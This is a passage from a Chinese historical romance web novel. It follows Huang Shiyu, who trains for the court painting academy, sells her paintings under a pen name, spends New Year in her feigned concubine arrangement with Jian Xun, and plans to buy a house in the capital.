黄时雨与琥珀对视一眼,没来由替简允璋愧对沈璃,只好再接再厉拉这姑娘一把,“他哪有你说那么好,倒是有时候确实也不呆。” “哦,可有什么典故?”沈璃眼睛一亮,难得黄姑娘肯接堂兄的话题。 黄时雨假装神秘,迈着小碎步靠近她,小声道:“他主意大着呢,打小就看上自家表妹,真不害臊。” 果不其然沈璃的神情僵在了脸上。 这下总该对简允璋死心了吧。 黄时雨暗自腹诽,倘若沈璃知晓我考不上画署也得跟简允璋,不知倾慕之心还能存几分。 总之,黄时雨挽救了一个痴心错付的姑娘。 倘若也有人能挽救她便好了。 她抬头望了望天,多做工多作画,少做梦。 冬月初十这日天冷的厉害,考生毕竟都是富户以上出生,没吃过什么苦,平时做工苦累尚且能忍,但冷可受不住,没挨过冻的身子极容易生病,而风寒也最容易要人性命。故而画署不仅给考生发了厚棉衣还有棉被,不少人畏寒不得不含泪退出画考,林林总总最后只剩六百人。 黄时雨都做好吃苦受冻的准备,画署竟换了方式。 男考生被安排到一间间小屋子里做木工,主要是做画板。每间屋子大小适中,窗户贴了好几层厚实的油纸,门口也挂着防风夹棉帘子,屋里有小炉子烧热水,再加上人多,虽说不上暖和但绝对冻不着。 女考生占了人数少的便宜,为她们单独辟一间屋子过于浪费,反正就五个丫头,袁大人就把打扫设色场官员廨所的任务交给了她们。 官员的廨所自然比一般的屋子暖和,热水也充足,平时就是抹抹桌椅扫扫尘洒洒水。 简直神仙日子。 姜意凝和苏容樱同时松了口气。 前面就说过,简珣自冬月开始频繁外出,除了四门学还要登门拜访叶学士,叶学士喜欢参禅,简珣便时不时陪他在名刹古寺里饮茶下棋,偶尔回府也不拘着黄时雨。 主子的态度决定仆从态度,曹妈妈拿一回来就往西市跑的黄时雨一点办法也没有。 可是在曹妈妈的观念里,夫君是一个女人的天,伺候夫君才是女子立身之根本。 黄姑娘别说伺候夫君了,连人影都甚少见,多少有些儿恃宠而骄。 但想到即便她不往外跑,也没机会伺候少爷,毕竟少爷也不在家,曹妈妈便又看开了。 腊月十六石上居有一场陈列会,黄时雨心动不已,凑巧的是简珣还未出门,机会难得,她兴冲冲跑去书房求见,再慢一慢,说不定又见不到他人影。 彼时简珣正在书房整理功课,白露立在飞罩下传话:“少爷,黄姑娘想见您,正在门外候着。” 简珣颇为意外,“请她进来。” “阿珣,我能不能借你的石上居简帖一用?”黄时雨殷殷望着他,以两人的关系,借个简帖不为过吧。 不意简珣头也未抬,“不行。” 为何?黄时雨不解道:“你信不过我吗?” 简珣抬眸看她,“因为我实在抽不开身。” 黄时雨连忙堆笑,“你误会了,我不是要你也去,只是借一张自己去。” 简珣道:“那更不行。” 黄时雨万没想到会是这种结果,然而简帖是人家的,不论借不借都没有她置喙的余地,只得悻悻然离开书房。 简允璋似乎在生她的气! 自从上个月她谎称他是堂兄,又三番两次撂脸色,甚至不许他对自己做那种很舒服的事,他好像生气了。 黄时雨感到无语。 但她比他大度,不会生他的气。 作为一个买家,简允璋实在是亏麻了,而自己都不知偏了他多少好处。 殊不知简珣的想法极简单,并无诸多弯弯绕绕,拒绝借简帖仅仅是因为没空陪她,那石上居规矩苛刻,不适合女孩子独自前往。 不过黄时雨有一点猜对了,简珣确实心生不满,但以他的为人,即使不满也不会通过生闷气或者为难梅娘表达。 他只会藏在心里,犯不着与她较真。 去不成石上居那就继续去西市。 自从上次为小闻大人带话,程管事觉得自己能与肃王搭上话了。 经过几番观察,她可算弄明白,黄姑娘和肃王是神女无意襄王有情。 那不得多帮帮肃王。 肃王手指缝漏一点,就是她辛苦一年的俸禄。 关于黄时雨的一举一动,程管事皆滴水不漏回给了肃王,“黄姑娘家的人三不五时就派个小厮丫鬟探望她,上个月开始她身边的琥珀也三不五时呈请外出,小的在袁大人那里打听到是去西市,具体做什么就不清楚了。哦,每逢旬假她也不住舍馆,据说京师有亲戚。” 韩意淮没想到程管事这么知情识趣,稍有风吹草动便来回禀,“嗯,我知道了,你很有心。” 这些事金鹤也知道,可到底不如程管事详细。 “为殿下分忧是小的三世修来的福分,只要能帮到殿下一二,小的在所不辞。”程管事揣手含笑。 肃王殿下打小就见多了这种人,虽然不太能上高台,但确实有用。 他唇角微扬,金鹤就笑着递给程管事一枚沉甸甸的东西,“你孝心可嘉,殿下赏你的。” 程管事连忙磕头谢恩,心道自己的知情识趣取悦了肃王。 简珣家世品行相貌无一不优秀,女孩子喜欢他很正常,但凡正常的女孩也不敢三心二意,玩弄简珣与肃王的感情,所以韩意淮理解黄时雨。 可是越得不到的东西就越想得到,肃王是人,自然也会有这种人性。 好在肃王怜香惜玉,自是希望姑娘家心甘情愿委身。 不然赢了也没甚意思。 他想要女人,但不要哭哭啼啼委委屈屈的女人。 韩意淮一直想看黄时雨的墨宝,没想到竟是通过旁人的手实现。 不消几日,他已得知黄时雨去西市的目的。 卖画? 呃,难道简珣私下这般吝啬? 女人已经穷到去西市作画换体己。 韩意淮大为震惊,总觉得有古怪。 他又调开视线,缓缓展开小木头临摹的《嵩山晴雨图》,这一日大康下了今年的第二场雪,纯洁而微凉。 那落雪似乎也落在了他的心尖儿,第一次觉知被什么触动了。 他瞳仁轻晃。 倘若可以用味道来形容此刻,韩意淮嗅到了一片白色蔷薇花海的香气。 第55章 动容 因为廿九就是除夕,考虑到有不少考生来自宝天府,画署便从廿六开始放年节。家更远一些的考生无从选择,只能在舍馆过年。 黄时雨一点也不着急回简府,趁着这点自由时间又带着琥珀跑去西市。 逛的多了她才发现简珣就是个“骗子”,西市才没他说的那般危险。 晚上可能不太适合姑娘家独自逛,但白昼分明很太平,到处都有官兵巡街,每隔百步便有一间武侯铺。 这里乃大康最繁华的贸易场所,属于朝廷重点关注对象,重兵把守也能最大限度地遏制鬼市,因而西市从某方面来说真的很安全。 “哟,梅尘先生,您可算来了。”钱老板打远瞧见黄时雨和琥珀立刻迎上来。 画师一般不留名只留号,称画师号再加先生二字可表尊重。钱老板生意场上的人见谁都笑眯眯的,说话极为好听。 黄时雨和琥珀皆穿窄袖圆领袍,这是时下饱受女子喜爱的男装,方便做事又不失女子的柔美,极盛时期人手必备,也给出行不便的女子一种心理上的依仗。 “钱老板近来安好。”黄时雨行福礼。 钱老板还礼道:“托您的福一切大好,只不知何时才能等到先生的第二幅大作哟。我不急,您的画迷可等不及了。” 画师皆以墨宝珍惜而自居,即便想赚钱也不可贪多,这一行物以稀为贵,所以黄时雨极为珍惜梅尘这个号,并不敢贪多,隔了一个月才送来第二幅,却不意仅靠一幅画就有了画迷。 琥珀将新作《仙鹤塘记》递给钱老板,“哪敢让钱老板久等,这不就赶在年节前送来了。” 黄时雨含笑,钱老板两手接过递给身后的伙计,“是了,您的画迷还留了封信。” 他将信件递给了黄时雨。 时下画迷给倾慕的画师写信赋诗举荐不胜枚举,追捧的人越多画作便越值钱。 黄时雨既惊又喜,没有人不想被承认,第一个画迷对她的意义非比寻常。 她也好奇别人眼中自己的画是什么模样。 甫一坐进雇来的骡车,黄时雨便迫不及待拆信阅读,没想到信纸十分讲究,用了坚洁如玉,细薄光润的澄心纸,又亲自点缀了梅花,不知是有意还是无意的应承了她的梅尘。 既是画迷所写,便少不了各种溢美之词,捧的黄时雨不禁轻飘飘的。 画迷不仅仅看出了她的画意,还说她的画就像白色的蔷薇,令人心颤。 像她这样的画师,总有一天能变成大画师。 黄时雨感觉鼻腔酸酸的,却是无比的动容。 “二小姐,咱们出师可太利了,第一幅就顺利卖出还有了画迷,我瞧钱老板看你的眼神都跟之前不太一样,这次直接给了一两银子,我敢肯定你在画道早晚有大出息。”琥珀雀跃不已,因为二小姐已经很久没有这般开心了,仿佛又回到了从前的模样。 一幅画就赚了一两银子,意味着此后靠自己也用得起普通的设色。 黄时雨垂眸轻抚信纸,画迷的落款朴实无华,就叫画迷,字体是娟秀的小楷,一般姑娘家用的,所以她的画迷一定也是位精于此道又温柔知意的姑娘家吧。 赚了钱当然要给姐姐买好东西。 黄时雨逛了绸缎铺子,又挠着额头走出,京师的绸缎真贵,最便宜的也要二两银子。 买不起绸缎珠宝但是买得起各种方物,这里有一种南方的橘饼柿饼味道极好,此外又在胡人的商铺买了一些胭脂香露和两瓶蔷薇水,这些东西泽禾买不到,给姐姐图一个新鲜。 除夕夜简府的主子都不在家,但主子的心尖儿在,因此这一年照旧办的热热闹闹,人少归人少,府中上下张灯结彩,树上绑了红绸,明瓦窗上贴着各式剪纸,寓意福寿安康。 这是黄时雨十五岁的最后一日,自明儿开始她就是十六岁的大姑娘,在泽禾已经到了嫁做人妇的年纪,倘这个年纪还不说亲,定是少不了一番背后议论。 所以黄时雨喜欢京师,这里的女孩子到了十八岁还未嫁也常有的。 总有一日她要在这片富足又开明的土地买属于自己的房子,接姐姐一起住。 黄时雨用年夜饭的时候让丫鬟们就在屋子的屏风后也另起一桌,自己更无需谁布菜,不拘什么礼节,只图热闹。 一群女孩子难得放纵,快快乐乐用了年夜饭。 气氛浓郁,黄时雨为了应个景儿小酌一杯,自斟自饮,这是她第一次饮酒,西域的紫葡萄酿,许是按照女孩子的口味酿制,酸酸甜甜。 饭罢,丫鬟们请黄时雨出门看烟花,少爷专门为她准备的。 琥珀给微醺的黄时雨披上斗篷,搀扶她迎着冰凉的夜风来到了园中,几个小厮正笑笑闹闹,瞧见黄时雨立刻作揖,然后点燃了万千火树银花,整座园子宛如仙境。 福喜道:“这是安国公赏的贡品‘仙树瑶台’,少爷说您定会喜欢的。” 当然喜欢,黄时雨怎会不喜欢,沉沦任何极美之物乃画师天性,这一刻,她仰脸望着星空,潋滟眸光充满希冀。 除了情爱,她觉得自己可以付出一切报答简允璋从小到大的恩情。 火树银花落幕,丐婆收回痴痴的目光,转眸看向黄时雨,又从海棠树下慢慢踱步走出,对着女孩咧嘴露出一口白牙微笑,极有辨识度的笑意,令人印象深刻。 众人慌作一团,简府的护院何时这么废物,竟让一个奇怪的老婆子闯了进来。 丐婆笑道:“小姑娘,我时日无多,再来看你一次,下一次就不定什么时候了。别紧张,我没杀人。大家都叫我疯婆子也不是全无道理,大多数时间我神志都不是很清醒,但我心里有个执念,总有一日要完成。” 黄时雨拢紧了斗篷:“阿婆,我总觉得你不算好人,时常做些自己觉得好玩但却是他人苦难的事,可你又实在可怜且也未造成多大的伤害,我便忍不住同情你。我不懂你想从我身上得到什么,但那一定是你觉得好玩的事,希望你带来的不是我的苦难。” 丐婆哼了声扭过头,发现越来越多的护院涌现,就立刻钻进花影深处,当着众人的面犹如轻灵的鸟跃上房檐,消失在京师的深夜。 小丫鬟紧紧围着黄时雨,皆目瞪口呆。 事情发生的突然结束的亦快,连点反应时间也无。 丐婆并未说谎,她没有伤人,简府上下活蹦乱跳。 唯有黄时雨黛眉紧锁。 不过简珣留下的葡萄酒实在美味,她贪恋微醺的感受,不禁多饮两杯,缓步渐渐飘雪的庭园旋转,半眯美眸。 这一幕美极了。 钟鼓声响,新岁开启。 琥珀怔然,目中难掩惊艳。 十六岁的二小姐清媚动人,宛若一只纯洁的花妖,在落雪下悠然自得。 似她这般的女画师,应当是世间极品吧。 未来不知得有多少人,想摘取这朵高岭之花。 次日饮了一大碗醒酒汤,黄时雨总算耳清目明。 美酒虽醇切勿贪杯。 为了应喜庆的景儿,琥珀穿了件热闹的水红色茧绸长褙子,看起来更添风韵又精神,然后为二小姐挑了一件胭脂红立领宽袖长袄,翻领则是珍珠白。 又挑了玉白色的宝相花纹百褶裙,裙边撒花缠枝纹。这条裙子颇废了琥珀一些时日,穿上行动间流动的不仅仅是繁复的花纹刺绣,还有女儿家的妍丽娇美。 初一,琥珀给香雪居伺候的下人发了喜钱,这是一笔巨大的开销,并非黄时雨打肿脸充胖子,而是情理之中,这一日主子都要给下人喜钱图个好兆头。 身为“贵妾”一毛不拔难免落人口实,更何况曹妈妈一直盯着她。 上午她沉浸书房作画,有了画迷,这种实打实的支持与倾慕,感觉浑身有使不完的劲,却也心生惶恐,唯恐哪一次没画好,画迷觉得没趣,就散了。 只有大画师才能从容道一句“天下没有不散的筵席”,因为趋之若鹜涌向他们的人只会是散去的百倍千倍,于是谁又在乎失去的那点,可黄时雨这样籍籍无名之辈,就一个画迷,无论如何也洒脱不起来。 况且她觉得画迷懂她的画,世上最难得的往往一个“懂”字。 画了半个时辰,黄时雨习惯搁笔揉一揉手腕放松,琥珀见她开始休息,才笑吟吟道:“少爷来了,吩咐等你休息再通传。” 简珣已经等了约莫两盏茶的功夫。 黄时雨道:“好。” 她亲自迎了出去,步入连通书房的小茶室。琥珀善解人意地留在了书房。 简珣垂眸,沉凝如渊,未见人影却先闻人声:“阿珣,我的画作又进步了,第二幅便赚了一两银子!” 梅娘像一朵含雪的胭脂梅花闯了进来。 简珣目光呆了呆,一时有些失礼,好在梅娘心思单纯,并未在意。 “恭喜。”他诚挚道。 黄时雨承了他的贺喜,大大方方掏出一叠盛在锦囊里的书签,是她自己画的花样,又请了名声极好的木匠人雕刻,“给,送你的新春礼物。虽然是不值钱的小物件,可是我觉得书签如同笔墨,是你们读书人日常最离不开的物件之一,还望阿珣莫要嫌弃。” “我很喜欢。” 简珣神色动容,双手接过,眸光深幽望定她,“那我的礼物也希望梅娘喜欢。” 他从袖中掏出一枚尚带着体温的白玉梳,梳背却是红色,雕了朵朵梅花,与她今日装扮相称极了。 简珣并未让黄时雨细瞧,而是直接簪入她堆云似的发间。 黄时雨两手摸了摸头发,“我还没看呢。” 简珣道:“已经是你的,什么时候看不一样。” 因为他暗自心虚,唯恐梅娘通晓此物深意,不过见她一脸懵懂,方又松了口气。 郎君赠心爱的女子玉梳所求不过白头偕老。 简珣转移话题道:“听闻夜半闯入歹人,你们认识吗?” 黄时雨便将来龙去脉说了一遍,又道:“我也不知为何被她缠上了,大约她此前做坏事总是被我揭穿,怀恨在心吧。” 简珣拧眉沉思,安慰她道:“节后公署才有人当值,那时我会差人报官,你也别害怕,观她行为并不像要加害你性命的。” 确实如此,不然黄时雨几条命都没了。 简珣自然而然牵起她的手,“走,不说旁人了,我带你去不二梅斋,今儿我们就在那里用午膳。” 简府最负盛名的便是不二梅斋。 园中梅树芬芳凛冽,品种罕见,甫一踏入只觉得香气沁入心脾,浸染衣衫。 黄时雨惊叹不已,赫然发现此地不仅是男主人的居所更兼具了书房,故而造的比别处都来的大。更惊喜的是越靠近书房的位置花树越少,直至偌大的空地仅一株枝干虬劲的绿萼梅傲世独立。 “哇,这也太美了。”黄时雨趁机甩开简珣的手奔过去,又掏出厚实的手衣戴上,小心翼翼触了触枝头鲜嫩欲滴的花蕊,馥郁气息盈满肺腑。 简珣负手含笑,“它可不算这园子中最美的。” 黄时雨“咦”了声,满目期待,“更美的花在哪儿?” 她想象不出世上还有更胜绿萼的。 简珣看着她笑,“不告诉你。” 这个人有时候挺讨厌的,不过想到他带自己来赏梅,黄时雨就什么怨都没有了。 她艳羡道:“你有这么漂亮的园子竟然未住进来,简直暴殄天物。” 据她所知,他依旧住在简府的墨斋,那可不像男主人所居。 简珣眼底有黯然流过,不过很快就恢复清澈,“这里原是我阿爹所居,不过阿娘打算收拾出来将来予我做婚房。” 他平静地望着梅娘好奇的眼眸,“我和妻子一起生活的地方。” 梅娘眼底的笑意就更深了,只听她说:“真唯美啊,你们一定会永远幸福的。” 黄时雨的一番祝福虽简单朴实却诚意十足,未料简珣连句客套的话都没说,别开脸盯着绿萼梅发呆,不再理她。 黄时雨笑容略微僵硬,偷偷翻了记白眼,兀自玩耍去了。 梅斋约莫香雪居三倍大小,此时有三三两两的小厮婆子铲雪,发现她立刻道一句吉祥话并行礼,黄时雨微笑点头。 “十,十一,十二……”黄时雨漫漫数着梅树,鼻尖微微沁汗,走热了。 “梅娘。”简珣不知何时追了过来,似乎有话要说。 黄时雨便转身面向他,“怎么了?” “我没想到伯祖父那么快就为我决定了老师,所以今年我得留在京师,咱俩考试的时间差不太多,地点也都在京师,不如你也留下来吧。” 黄时雨一时五味杂陈。 简珣慌忙道:“反正我们连一张床铺都同躺过,再多几个月于名誉也改变不了什么的。” “我,我可以负责的,也很愿意负责……”他支支吾吾道。 黄时雨噗嗤笑了,方才的迟疑不是不愿而是在想又要欠他更多。 如今画道日渐起色,又有了京师的画迷,平心而论她舍不得离开,困在泽禾实难进步,且生活诸多压抑束缚,最大的盼头只有姐姐,而拥有爱护所爱之人能力的前提是——飞出泽禾。再一个,八月画考不又得重新赶回来。 然而吃住简府真是一笔不小的人情。 她迟疑怎么偿还。 简珣因为心慌而失了机敏,竟猜不透梅娘想法,“梅娘,你生气了吗,为何又笑了?” 黄时雨笑道:“我哪有资格生气,感激还来不及。正所谓虱多不痒债多不愁,我又要欠你大人情,多少有点儿羞涩。” 简珣展颜而笑,“那你还是蛮不讲理时更可人,严肃起来平白使人心慌的。” 他洁白如玉的耳朵蓦地染上一层潮红。 情急之下,竟直言自己心慌。 希望梅娘不要过多解读。 剩余不多的那点自尊唯有最后一片不敢吐露的心意遮羞。 所幸梅娘心机不深,并未解读,简珣庆幸之余却默然失落。 他赌气似的重新抓住梅娘的手。 黄时雨愣了下,又缓缓放松任由他牵着。 她所谓的报答也包含了身体,倘若简允璋想要的话。 当然,她亦可贞烈不屈,简允璋断然也不敢侵犯她分毫,可那样岂不更可笑,没有他,哪里有现在的她未来的她,只有一个困在泽禾伺候纨绔的普通妇人,与一群女人在后宅里寂寥度日。 他的恩情,唯有这副令他贪想的身体,是一无所有的她能拿得出手的。 黄时雨早已看淡生死情爱,连嫁不嫁人都无所谓的她除了画道不做他想,一往无前的路上总会有坎坷,偿还简允璋一场露水姻缘也并非什么大不了的。 简珣很生气,可是回眸望着梅娘清然的眉眼又什么都忘了,他笑了笑,默默收回了视线。 二人手牵手逛遍梅斋,又在梅斋的录花间用了午膳,实乃黄时雨平生之最,原来大户人家年节是这样吃的。 三十多道热菜,另有凉菜十道,瓜果糕点若干,很奢侈却也不算浪费,因为两个人根本用不了多少,剩下的都赏给下人。 布菜的丫鬟从一人一个变成了两个。 房间生了两只火盆,银丝碳炽热燃烧,温暖如春且无一丝异味。 席间有一道五颜六色摆成花型的水饺名曰五福临门,其实就是黄时雨此前吃过的翡翠蒸饺,都是饺子,也都是鲜嫩的虾肉为馅,味道不分伯仲。 下午两个人待在梅斋的书房,琳琅满目的孤本令黄时雨大开眼界,犹如米虫儿掉进了米缸,兴奋地跳脚。 艳丽的日光穿过清亮的明瓦落地罩,铺了一地暖阳,黄时雨立在宽大厚重的紫檀画案前静心描摹,简珣坐在书案后读书。 时光在这一刻岁月静好。 黄时雨抬眸,望见简珣的侧颜在光线中盈盈发亮,薄薄的皮肤白的剔透无暇,简珣似有感知,也抬眸看向她。 多年后简珣时常思念这段明明最寻常的一日。 梅娘的眼睛清澈又动人,她望着他,令他浑身火热,心跳加速,她收回目光,他就仿佛被抽空了,悻悻的。 这日夜半时分,简珣在梅斋陪黄时雨继续欣赏“仙树瑶台”,又多了一样“凌波仙子”,直看得黄时雨伸长了脖颈。 仆婢已经将寝卧重新铺设,高床软枕,焕然一新,又在帐子四角挂了八只百合香薰福袋,缠枝花纹的。 今夜主子多半是要留姨娘在此。 白露托着黄花梨托盘款步走来,对黄时雨笑道:“少爷听说您中意西域葡萄酒,特意邀您不醉不归。” 不说还好,一说就把黄时雨的酒瘾勾了上来。 简珣亲自为她斟满一盏,“恭喜梅娘与我都长大一岁。” 黄时雨莞尔,举杯与他相碰。 葡萄酒的味道实在醉人,还未喝下人就微醺了。 今夜于简珣来说实乃春宵良辰,香醇的佳酿,青丝尚带着沐浴后独有清香的佳人,还有无力反抗的她却天真无邪的笑意。 当天空炸开最后一朵“仙树瑶台”,简珣俯身横抱起黄时雨。 黄时雨很清楚接下来即将发生什么,便闭着眼不吭声。 在这样的深夜,答应一个男子共饮要求,也就相当应了他隐晦的渴念。 简允璋那般聪颖,自然明白她同意了,那就没什么好顾忌。 这一段路走得漫长而挣扎,又似乎眨眼就到了尽头,柔软的轻纱软帐拂过黄时雨的脸颊,不知穿过了多少层,终于迈入了拔步床。 简允璋将她横放被褥之上,就开始解她的小袄,夹袄,以及白绫衫,一层层,犹如剥开深藏的茧蛹。 当他开始解百褶裙,黄时雨微微颤抖了下,却依然闭着眼。 简珣的手也随着她的颤抖而颤抖,又很快恢复了冷静,解了她的长裙和夹棉罗裤。 他望着一动不动的女孩,细软的贴身里衣紧紧贴着她柔软的曲线,一览无余,梅娘已经是大姑娘了。 黄时雨感觉到简允璋爬了上来,却未压在她身上,只是将她抱进柔软的厚衾,又掖了掖被角,便再也没有回来。 那夜,他一个人躺在书房辗转难眠。 此时的他尚不通自渎,只能苦苦干熬。 第56章 猫儿 因为年节要放到初四,前后八天,而试炼原定的天数不能变,因此试炼得到正月十五才算结束。 初五回到舍馆,黄时雨生活照旧。 本来一千一百个对手现今变成了六百个,她已经很知足。 又因秘密过多,也不敢敞开心扉与人深交,故此一直与另外四个姑娘不远不近。 其实原本也不属于相同圈层,强行融入反倒容易闹笑话,令人反感,所以黄时雨相当看得开,一直淡淡的,温温的,颇有些道家来去随心的味道。 蓝素觉得她多少沾点假清高,不过是仗着姿色过人,又有贵人提携,才不屑与其他人为伍罢了。 姜意凝倒觉得黄时雨挺正常的,漂亮真实,行为举止极有教养,难能可贵的是这份教养针对所有人。 她任性导致挨饿,险些饿晕之际是黄姑娘主动送吃食,明知她的家世,黄姑娘也并不以雪中送炭自居,黄姑娘除了帮她也帮腿脚不便的匠工提水。当大家都累的不想动,也是黄姑娘一个人默默扫尾,从未抱怨。 所以临别之际,大小姐趾高气昂走到黄时雨面前,将花笺塞给她。 黄时雨愣了下,不意自己这个游离圈外的人都能收到同案花笺,她很快恢复镇定,含笑将自己的也递上。 时下考生多以互赠花笺做信物,以便将来重逢能再叙昔日同案之情。 沈璃是一个八面玲珑的人,品行还不错,就是陷在了单相思里。 有眼睛的都能瞧出她想做黄时雨“堂嫂”,无奈人生出场顺序晚了一步,“堂嫂”早有内定人选,任她再多不甘也只能化作一声叹息。 黄时雨也叹息,倘若可以选择,她也想接住沈璃抛来的橄榄枝,以便试炼结束依然保持联系,真心交一个朋友。 那就画考结束吧。 考上了,她就可以直起腰做人,堂堂正正面对真实的自己。 考不上,就更无需考虑朋友不朋友的,因为什么都不会有。 不意试炼结束这日,沈璃竟也主动送了黄时雨一枚花笺,“倘若有缘画署相见,便是信物吧。” 黄时雨难掩意外之喜,不过克制极好,轻快道:“好,这个是我的信物。” 她也递上自己的。 沈璃抿唇而笑。 年后,黄家人收到京师来信喜不自胜,姑爷舍不得梅娘离开自己半步,打算长久带在身边,乡试结束再回泽禾。 黄晚晴冷笑一声,扭头回了屋里。 黄太太心思则活络起来,凑近了黄秀才轻声问:“你说,有没有可能……” 黄秀才冷冷瞪她一眼,“别做梦了,简家是什么门第,岂会允许名不正言不顺的庶长子先出来,你最好安分些,莫要教梅娘上不得台面的做派,到时搬起石头砸自己的脚,我饶不了你。” 黄太太气得跺了跺脚,咬唇扭头也回了屋里。 自从梅娘得势,黄秀才渐渐不把她放在眼中。 有什么得意的。 现在风光不过是仗着年轻貌美,将来色衰爱驰还不懂一点拿捏男人的法子,有的是罪受。 黄太太冷笑,就这还不让她教梅娘手段,呵呵,也不瞧瞧简少爷身边的丫鬟都漂亮成何等模样,那通房想必更是闭月羞花,一旦新鲜劲过去,梅娘又该如何保证男人每个月都去自己房里? 若非为着自己一双儿女,黄太太怎甘心黄时雨过上好日子,奈何形势比人强,她必须期盼黄时雨好,同时又盼着某天失去价值的黄时雨立即失宠。 就那副逆来顺受的娇软贱骨头,都不够简少爷一脚的。 只有远在甜水铺子的黄莺枝收到妹妹寄来的书信方物愁眉不展。 妹妹说要给她买京师的房子。 她心里暖暖的,但是笑不出。 那么小的一个梅娘,怎么敢说这样的话的。 黄时雨是个敢想敢干的人,有了这个想法就一直在关注京师房价。 琥珀以为二小姐准备置私产,那是举双手赞同。 时下深宅大户的女子想要过得好,哪一个没有私产,二小姐开窍了,懂得为自己谋福利。 但二小姐又没完全开窍,关注的地段竟是保宁坊。 客观来说,保宁坊算京师位置比较好的地段之一,因为距离皇城近,却又是皇城附近几个坊市里位置最偏且靠西,属于好地段中最差者。 凭少爷对二小姐的宠爱程度,怎么也得给一个金诚坊的,二小姐既然想要又何必扭扭捏捏要一个不那么好的,琥珀完全想不通。 结果随二小姐逛了一圈保宁坊,琥珀就更想不通了,坊间房屋多为老旧,住户似乎以老年人居多,除了两个优点——离皇城近和治安好,再找不到其他的。 黄时雨将琥珀的神情看在眼里,笑道:“不是老年人多,而是年轻人都在当值。你可知这里的治安为何比其他靠西的坊更好?” 琥珀摇摇头,“为何?” “不是所有官员都家财万贯,房屋田产遍地,尤其平民出身官职又不高的,这些人很难在皇城附近买到房子,但为了上衙方便又不得不靠近皇城,只能选此处租赁。久而久之,此地聚集了不少清贫官员,那治安自然马虎不得。” “原来如此,对于普通人来说这里倒真是个好去处。”琥珀不解道,“不过租赁也不便宜吧,既是清贫又如何负担……” 黄时雨道:“本朝八品以上就享有朝廷的住宅补贴,租赁的官员花不了几个钱,只不过没有房屋的买卖转赠权。” 她用三个月时间对京师有了一定的了解,加诸在不二梅斋的书房读了时下关于京师的书,又有简允璋从旁指点,知晓的自然比琥珀全面。 治安好,意味着将来和姐姐住在此地就能省去许多麻烦,要知道一座都是女子居住的宅院,倘若没有相对的安全保障,后果不堪设想。所以黄时雨喜欢这里,哪怕屋舍不够精美。 也正因不够精美,价格才比其他同样安全的地段便宜一大截。 琥珀道:“二小姐,你真要这里么?” 黄时雨用力点头,“当然,只不过目下没银子。” 琥珀诧异道:“怎会没银子,少爷看上去很舍得给你花钱。” “唔,我指的是我没有银钱,他的银钱又不是我的,”黄时雨坦白道,“给自己买房子自然得用自己的银钱。” 什么你的我的,夫妇分这么开是什么意思?琥珀心慌不已,隐约要猜到了什么又不敢确定。 琥珀是自己最近的身边人,这种时候也没必要再隐瞒了,黄时雨笑了笑,“是的,你猜得没错,就是你想的那样,我和简允璋是假的。” 假恩爱,假贵妾,假夫君,什么都是假的。 唯有一脑门的债务是真的。 “不过可不能在曹妈妈跟前露了馅。”黄时雨笑盈盈补充了句。 相信这句话的含义琥珀比谁都明白。 琥珀如坠云雾,目瞪口呆听完了始末,简直……简直是将终身大事视同儿戏,也置自己的清白不顾。 就算什么都是假的,同床共枕这么多次男人也会变成真的。 这种事男人不可能忍得住。 除非二小姐丑若无盐。 琥珀红着脸道:“不能这样,二小姐,你的清白……清白之身岂能随意交付!” 值得吗? 以清清白白的身子交换未知前路。 黄时雨也不知自己还清不清白,抱也抱过亲也亲了,甚至还是被两个郎君,她脸色变了变,又一派安然道:“唔,清白啊,清白我还是有的,简允璋不敢硬来。” 琥珀又不是懵懂无知的小姑娘,显然不信,但是现在信不信的有什么重要的,当务之急是学习二小姐的态度,咬死不承认。 她绝不承认二小姐曾与男子同床共枕过。 却又想到另一层要命的,欺瞒长辈私销文书,足以令老爷动用家法,气急之下打死、卖了亦或随便嫁了也不是不可能。 任何人包括官府都无权干涉一位父亲处置不孝逆女。 “二小姐,你不能这样儿戏,你和简少爷不同,你这样会死的……”琥珀用力握住黄时雨的手。 黄时雨倒是乐观的很,“只要考进画署,我爹就不会也不敢打死我,因为打死我非但挽回不了他的‘金龟婿’简允璋,还有可能惹下嫌隙,再一个画员好歹有个从九品的虚衔,他无权处置朝廷的人,反而让我活着才有希望,说不定又能卖个好价钱。” 琥珀道:“卖给不清不楚的人家那还不如跟了简少爷,你为何……” 黄时雨的神情骤然变得冷漠,“画署明令不收贱籍,贵妾也是贱籍,我只能为妻。单《户婚律》关于朝廷官员一则的规令,阿爹就无权卖我为妾,即使为妻也得挑个我同意的才行。” 至少她能有一多半的挑选权,怎么也比阿爹继母挑的靠谱。 甚至还可以靠一个拖字诀把年纪拖大了嫁不出。 琥珀虚弱地点了点头,算是认命了,不管如何,她都选择站在二小姐这边,却也不得不提前泼一盆冷水打个防备,“二小姐,你想的都是考进画署,那万一考不进呢,有没有给自己留后路?” 未料二小姐仍是一派轻松自如,并未被冷水浇透,“当然有呀,考不进再重新补一张鬻妾文书,去简允璋家里做贵妾,一切就当镜花水月的空梦,日子该怎么过就怎么过。” 琥珀觉得眼眶酸酸胀胀的,二小姐却像个小大人似的,负着手迈着轻快的步伐,仿佛街道两旁有她的房子,来回的看着。 其实黄时雨还有个原因没好意思言明,那便是此地方便挑选夫君。 还有什么比清贫位卑的年轻官员更适合她的呢? 不过那都是很久远以后再考虑的事,此时的黄时雨只想用心作画赚钱和备考。 最便宜的一间二进小宅院也要三百五十两。 坊正将在售的几处宅院拿给黄时雨看。 不是白给看的,无论买家和卖家都得给坊正红包,卖家给的多,买家意思一下就成,相当于打探消息的辛苦费。 黄时雨付了二十文钱离开。 房产铺面交易皆为大额,不同于买菜,所以买家来探知一二离开并不为过,有意的下回自然再来。 坊正喝着茶躺在竹椅上摇晃,如今的小姑娘真阔气,瞧着挺朴素,开口就问二进的宅院。 月底黄时雨又去了钱老板铺子,这回他更热情,直接来到了门外相迎。 黄时雨早就学会了利己,观老板态度那自己也可以坐地起价。 她觉得自己的画配得上这个价格。 钱老板捋须欣赏她的画,片刻后,道:“不错,您是个大有前途的,技巧运笔虽还不如大家纯熟,但这份灵气与创新真个儿独树一帜,这样吧,二十两银子。” 黄时雨和琥珀心里头同时一个踉跄,险些跌倒,双双怀疑自己听错了。 从一两银子突然跨越到二十两,这是小有名气画师才有的待遇,且还不一定每副画都能如此。 钱老板给的价格远超黄时雨的预期,而她准备的“狮子大开口”也不过才八两。 恍恍惚惚。 两个小女子硬梆梆的,瞧着反应不对劲。 钱老板锁着眉,纳罕道:“敢问二位是觉得这价格不公道……?” 黄时雨最先回了神,镇定道:“可以,多谢钱老板赏识。” 钱老板重新笑眯眯。 